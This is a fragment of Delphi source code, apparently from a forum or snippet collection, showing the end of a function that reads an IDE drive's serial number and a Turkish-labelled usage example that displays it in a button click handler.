(PChar(@sSerialNumber)+SizeOf( sSerialNumber))^ := #0;
Result := PChar(@sSerialNumber);
end;
end;
// KULLANIM

procedure TForm1.Button4Click(Sender: TObject);
var s : String;
rc : DWORD;
begin
s := GetIdeSerialNumber;
if s='' then
begin
rc := GetLastError;
if rc=0 then label4.caption:='IDE drive is not support SMART feature'
else label4.caption:=SysErrorMessag e(rc);
end
else label4.caption:= s;

end;